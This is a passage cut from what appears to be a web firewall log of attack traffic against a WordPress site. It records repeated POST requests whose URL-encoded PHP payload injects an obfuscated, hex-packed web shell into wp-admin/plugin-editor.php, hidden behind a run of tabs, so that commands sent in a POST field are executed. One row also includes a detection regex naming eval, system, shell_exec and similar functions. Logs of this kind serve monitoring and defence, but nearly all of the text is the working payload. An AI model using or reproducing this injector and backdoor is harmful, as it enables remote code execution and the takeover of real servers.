27%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8813\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nqX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:41:34","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8813\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnULvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nhv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%2